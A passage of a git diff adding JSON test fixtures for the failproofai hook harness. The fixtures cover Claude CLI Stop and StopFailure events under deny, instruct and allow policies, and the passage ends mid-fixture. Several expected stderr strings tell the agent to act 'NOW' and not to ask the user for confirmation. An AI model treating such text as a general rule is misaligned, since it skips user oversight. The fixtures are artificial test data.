b/__tests__/parity/fixtures/claude/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5f63cf91 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..be00b3ca --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8a6832a1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e191ec17 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7584e7d5 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a35c0f63 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bf863fa1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ca648a5e --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fe66bd31 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7f0eaf7f --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..163cc337 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..6c828f29 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f3c41d73 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..cd8d169c --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3e5615a2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..07300ed3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..1b9ad9ee --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..110858c2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..283a3593 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": 